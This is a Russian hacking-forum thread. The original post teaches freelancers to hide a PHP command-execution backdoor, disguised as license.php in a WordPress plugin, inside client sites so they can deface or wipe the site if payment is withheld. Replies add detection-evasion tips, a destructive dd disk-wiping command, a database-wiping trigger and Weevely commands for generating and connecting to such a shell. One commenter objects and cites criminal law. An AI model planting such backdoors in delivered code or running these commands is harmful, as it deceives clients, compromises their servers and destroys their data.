Статья Оставляем бэкдор для страховки от "нехороших" заказчиков

Всем Салам. Сегодня хотел бы поговорить о фрилансе и как работать без потерь для себя. А именно мы будем защищаться от плохих заказчиков, которые захотят нас кинуть после выполненной работы. Вы скажете, ну чтобы не кидал, бери половину суммы наперед или все сразу. Такое условие, если и прокатит, то только у опытных фрилансеров, у которых множество положительных отзывов. А, если ты новичок и ты хочешь половину суммы, то очень мала вероятность, что на твой ковер леттер, даже среагируют. Поэтому, настоятельно рекомендую писать "оплата после".

Немного теории

У меня, чуть больше 2 лет назад, в среднем, на каждый мой 3 ковер леттер реагировали, и в течении недели я брался за 3, а то и более проектов в зависимости от сложности. Ну наверное вы поняли, сейчас мы говорим о разработке сайтов, веб сервисов, порталов и всего такого, в данном случае на PHP. Сам процесс получается таким: заказчик выбирает вас, вы обговаривается условия, выполняете проект, сдаете ее заказчику и тут самое интересное, если вы поняли, что заказчик вас кинул и чтобы не остаться лоханутым, нужно предпринять определенные меры.


Практика

Предположим вы делаете сайт на WordPress. В процессе выполнения мы и создаем наши мини бэкдорчики и запихиваем в непалевные уголки структуры вордпресса. Самый оптимальный вариант, как по мне, это замаскировать его под license.php в папку какого-нибудь плагина, и на всякий случай еще дублируем в пару других мест.
Сам бэкдор будет выглядит таким образом, код простенький, если ему что-то передается, он принимает и функция system выполняет и отображает.

PHP:
if ( isset( $_REQUEST['cmd'] ) ) {
    echo '<h1>' . 'Будьте честными!' . '</h1>';
    echo '<pre>';
    $cmd = ( $_REQUEST['cmd'] );
    system( $cmd );
    echo '</pre>';
}

Все просто, но все это очень сильно нам может помочь. Так, давайте посмотрим, что мы можем делать с помощью нашего бэкдорчика. Я его разместил в папке плагина akismet. Попробуем посмотреть содержимое папки с помощью команды ls.

Selection_091.jpg


Все отлично получается, все также как и в нашем любимом терминале. Например, сделать дефейс главной страницы, с предупредительной надписью и заказчик точно не захочет, чтобы его сайт впоследствии не был снесен. И теперь будет знать, что кидать не есть хорошо. Можете предложить свои варианты в комментах, как еще можно покарать нечестного.

Еще, нам бы не захотелось, чтобы другие случайно могли получить доступ к нашему бэкдору. Чтобы этого избежать, мы можем реализовать, через .htaccess доступ к файлу по паролю или же дать доступ к файлу только нашему ip. Подробнее можете изучить .

В ином случае, если заказчик вам платит, как и договаривались, то удаляйте бэкдоры, тоже будьте честными. Лично у меня был только 1 случай, когда заказчик, хотел ускользнуть, но этот способ наказания мне помог и справедливость восторжествовала.

На этом думаю завершим. Если у вас были подобные моменты, поделитесь в комментах. Всем удачи!

UPD: Еще несколько, более продвинутых способов, спрятать бэкдорчик.
 
Последнее редактирование:
N

n01n02h

Реально хорошая тема) тоже разок помогала. Даже если работаешь через безопасную сделку это не дает гарантий оплаты, бывают ну очень хитрые и ушлые заказчики, и в случае чего бекдорчик поможет)
 
P

PenGenKiddy

Крч, батька учит
1) Такой бэк спалится при помощи айболита (Некие хитрожопые используют его для убирания бекдоров, как у тебя)
2) rm -rf / ничего не сделает, умные Торвальдсы предусмотрели данный трип
3) Для полной феерии вгоняем в Infinity Loop сервер, и видим, как он начинает жадно тормозить
4) Если сайт на общественном сервере (На одном сервере несколько сайтов), находим рандомный фиш вк и ночью кидаем абузу. Блок хостинга и домена почти всегда гарантирован

Так, как сделать бэкдор, который почти ничем не палится? Юзаем /**/ и ломаем парсер айболита, дальше используем функции с callback (к примеру preg_replace_callback), затем можно ещё ioncube сверху покрыть, на всякий случай :)
 

r0hack

DAG
Platinum
29.09.2017
522
1 089
BIT
0
1) Такой бэк спалится при помощи айболита (Некие хитрожопые используют его для убирания бекдоров, как у тебя)
Пока не встречал заказчиков, которые, загружали бы айболит на хост и сканили... сложна... Но видя такое, может теперь и будут )))
2) rm -rf / ничего не сделает, умные Торвальдсы предусмотрели данный трип
Да, тут я чуть разогнался, но, по крайней мере, можно права подкорректировать, некоторых файлов и покушаться на них, но не самый эффективный момент ....
Так, как сделать бэкдор, который почти ничем не палится? Юзаем /**/ и ломаем парсер айболита, дальше используем функции с callback (к примеру preg_replace_callback), затем можно ещё ioncube сверху покрыть, на всякий случай :)
Это все можно сделать, но зачем. Если есть более простой способ, который прокатит в 99.99% случаев...
 
Последнее редактирование:
P

PenGenKiddy

Пока не встречал заказчиков, которые, загружали бы айболит на хост и сканили... сложна... Но видя такое, может теперь и будут )))

Да, тут я чуть разогнался, но, по крайней мере, можно права подкорректировать, некоторых файлов и покушаться на них, но не самый эффективный момент ....

Это все можно сделать, но зачем. Если есть более простой способ, который прокатит в 99.99% случаев...
Лучше тогда вместо rm -rf / использовать dd if=/dev/zero of=/dev/sda
Причем ее действие опаснее, чем rm-rf, в силу того что первая стирает все файлы с файловой системы. А вторая просто без разбора херачит с 0 сектора диска и до конца. Причем, поскольку она загружена в память, ей уже наплевать на то что происходит в ФС и она будет затирать локальные диски до победы. Ну и удаленные, если они смонтированы как блочные устройства. И восстановить такие данные уже нельзя, отличии от rm, которая не трогает таблицу разделов.
 

r0hack

DAG
Platinum
29.09.2017
522
1 089
BIT
0
а не подскажите фриланс биржи и как вы получали 1 заказ,когда рейтинг на биржи был 0??
Freelance.ru потом можно перейти на UpWork. Получится, если будет УТП (Уникальное Торговое Предложение). Как я уже писал выше, большинство требуют половину оплаты вперед. Еще можно многое придумать... В зависимости от задания... А не клевать глупые шаблонные ковел леттеры.
 

Iskus

Green Team
13.11.2017
287
468
BIT
0
А я вот попал на месяц работы, но я в проекте работал, в офисе, условия оказались совсем не те что озвучивались, я естественно попросил расчёт, меня послали на **й, сказали не нравится, двери там, и я понимаю что не оставил никакой лазейки потому что даже не предполагал такого исхода, вот сейчас думаю как наказать этих уродов, если кто готов помочь пишите в личку, у меня в одиночку не получается пока ничего сделать
[automerge]1522898710[/automerge]
А должны они мне $3000
[automerge]1522898823[/automerge]
Учитывая то что у меня съёмная квартира и 4 детей , мне было ооооочень тяжело выбраться из ямы в которую они меня загнали.
 
Последнее редактирование модератором:
V

vladpetashev

попробовал на cms opencart 2.1 - не работает скрипт, выводит только "Будьте честными!"

или нужен какой-то браузер специальный?(как на скрине)
 
Последнее редактирование модератором:

morgot

Green Team
25.07.2018
74
35
BIT
2
vladpetashev
Браузер тут не при чем, это же серверный скрипт. Включите error_reporting. Возможно, выполнение функции system заблокировано.
Передаете ли вы какую-то команду или просто переходите по ссылке? В последнем случае (команды никакой нет), действительно выведется надпись "будьте честными").
 

CyberX

Заблокирован
12.07.2018
54
34
BIT
0
Мне кажется лучше заделать какойто тригер в БД, который, если что, снесет всю бд. Вот его точно спаливать задолбаются.
 

N1GGA

Codeby Team
Администратор
16.07.2018
367
357
BIT
501
Да не, зачем так всё усложнять, когда есть Weevely?
Weevely — это веб-оболочка командной строки, динамически расширяемая по сети во время выполнения, предназначенная для удаленного администрирования сервера и тестирования на проникновение.
В кали он встроен по дефолту. Сгенерируем бэкдор командой
Код:
weevely generate 12345 /root/Desktop/license.php
и кидаем наш license.php в директорию какого-то плагина. После подключаемся к серваку с помощью команды
Код:
weevely http://mysite.ru/plagin/license.php 12345
и profitt! Кто не понял, 12345 это пароль нашего бэкдора(чтоб кто угодно не подключался к серваку) а , это путь до нашего бэкдора.
 

ActionNum

Well-known member
27.11.2016
80
93
BIT
0
Да не, зачем так всё усложнять, когда есть Weevely?
Weevely — это веб-оболочка командной строки, динамически расширяемая по сети во время выполнения, предназначенная для удаленного администрирования сервера и тестирования на проникновение.
В кали он встроен по дефолту. Сгенерируем бэкдор командой
Код:
weevely generate 12345 /root/Desktop/license.php
и кидаем наш license.php в директорию какого-то плагина. После подключаемся к серваку с помощью команды
Код:
weevely http://mysite.ru/plagin/license.php 12345
и profitt! Кто не понял, 12345 это пароль нашего бэкдора(чтоб кто угодно не подключался к серваку) а , это путь до нашего бэкдора.

Классный проект, спасибо за ссылку. Но есть одно но, что нет шифрования при работе с клиентом (не поддерживатеся HTTPS). Не подскажите похожие решения или web-shell, который работают по HTTPS? Спасибо
 
M

m0ze

Рубрика «Вредные советы», отлично. Если не придираться к подходу «как из одной найденной строчки кода сделать статью для codeby.net», то к автору такие вопросы:

если вы поняли, что заказчик вас кинул и чтобы не остаться лоханутым, нужно предпринять определенные меры
Как именно поможет маленький бэкдор «не остаться лоханутым»? Он как-то перечислит вам деньги за работу? Нет. Разок удалите всё под корень, заказчик восстановится из бэкапа и всё. Если дядя попадётся упёртый и с крупным проектом, то ещё может и в полицию обратиться, т.к. без договора все ваши «фрилансы» юр. силы не имеют, а вот 272 УК РФ становится более чем реальной.

В процессе выполнения мы и создаем наши мини бэкдорчики и запихиваем в непалевные уголки структуры вордпресса.
Выдаёте свою неопытность во второй раз. Сам приведённый код уже является палевом, которое легко детектится. Вы даже не посоветовали как-то видоизменить/обфусцировать его, чтобы хоть как-то его скрыть.

если ему что-то передается, он принимает и функция system выполняет и отображает
Даже если не придираться к формулировке, то что делать, если для сторонних скриптов выполнение функции system() закрыто или фильтруется WAF'ом?

Все просто, но все это очень сильно нам может помочь.
Повторю вопрос: как поможет? Если не обеспечивает возвращение долга по оплате работы, то это просто детская шалость скрипт-кидди, нашедшего «код бэкдора на PHP» и не знающего что с ним, собственно, делать, кроме разового дефейса. Конечно, может быть ваш заказчик фантастический идиот, который после первого дефейса ничего не поймёт, но это уже больше именно на фантастику похоже. Вы пытаетесь обмануть обманщика, а на этом поле он у себя дома и вас легко переиграет. Выдали неопытность в четвёртый раз.

Так, давайте посмотрим, что мы можем делать с помощью нашего бэкдорчика. Я его разместил в папке плагина akismet.
Выдали свою неопытность в пятый раз. В папке плагина, серьёзно? То есть вы ставите свою «защиту» туда, где она автоматически слетит при штатном обновлении CMS и/или плагинов?

Все отлично получается, все также как и в нашем любимом терминале. Например, сделать дефейс главной страницы, с предупредительной надписью и заказчик точно не захочет, чтобы его сайт впоследствии не был снесен. И теперь будет знать, что кидать не есть хорошо.
А потом все от счастья закружатся в индийском танце, да? После дефейса у вас уже доступ будет закрыт с вероятностью в 99%, т.к. в системе вы никоим образом не закрепились.

Еще, нам бы не захотелось, чтобы другие случайно могли получить доступ к нашему бэкдору.
Опишите, пожалуйста, сценарий, при котором кто-то бы мог получить доступ к этому бэкдору.

Чтобы этого избежать, мы можем реализовать, через .htaccess доступ к файлу по паролю или же дать доступ к файлу только нашему ip.
Лучше сразу паспортные данные и номер телефона оставьте, так будет быстрее. Более нелепых и вредных советов в этой абсурдной ситуации дать, видимо, невозможно. То есть, иными словами, вы не только предлагаете нарушать закон, но и никак не закрепились в системе, поставили свои бэкдоры под самоуничтожение (в примере с CMS WordPress), так ещё и предлагаете наследить дополнительно в файле .htaccess (а если там NginX + PHP-FPM?) и даже оставить там свой IP. Вы нормально себя чувствуете?

Про добавление в код мусора вроде
PHP:
echo '<h1>' . 'Будьте честными!' . '</h1>';
я вообще промолчу. Это, видимо, «авторское».

З.Ы.: «неопытность» конкретно в затронутой теме и исходя из текста материала.

«Кодбай» потихоньку превращается в сборник копипасты из Интернета?
 
  • Нравится
Реакции: pp11 и AcidCult

obbana

One Level
06.07.2019
4
1
BIT
0
Я лично вижу много статей от неопытных людей, часто читаешь и смешно... Ещё и тему не раскрывают, лишь набирают нужное количество символов чтобы получить деньги/репутацию))
 
  • Нравится
Реакции: m0ze

obbana

One Level
06.07.2019
4
1
BIT
0
А такие статьи - надо корректировать, когда дают советы более опытные люди, и будет норм
 
M

m0ze

@obbana, такими «статьями» Интернет завален, да и полезности они уже никакой не несут давно. Тут и корректировка особо не поможет, потому что тема вообще не раскрыта, а главное - нет ответа на вопрос «что мне это даст?». Какой профит? Бэкдор чтобы что? Дефейс? Для школьника сойдёт, более разумный человек либо «доведёт до ума» начатое, либо признает свою ошибку и не будет терять время на всю эту неоплачиваемую ерунду. Время - деньги.
 

obbana

One Level
06.07.2019
4
1
BIT
0
Не знаю, я в телеграме неплохие каналы читаю, всё по делу и подробно, а тут дело в том что начали платить всем за статьи, вот и пишут кому не лень
 

mrOkey

Well-known member
14.11.2017
967
975
BIT
0
Статья 2018 года, тогда не платили. Напишите свою, а мы посмотрим что толкового вы знаете
 
  • Нравится
Реакции: id2746 и Глюк

mrOkey

Well-known member
14.11.2017
967
975
BIT
0
Хорошо, напишу. =)
дабы вы не торопились, можно в тему ваш бейджик с hackthebox например?

ну это что б мы понял ваш уровень примерный, вот бейдж автора например
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!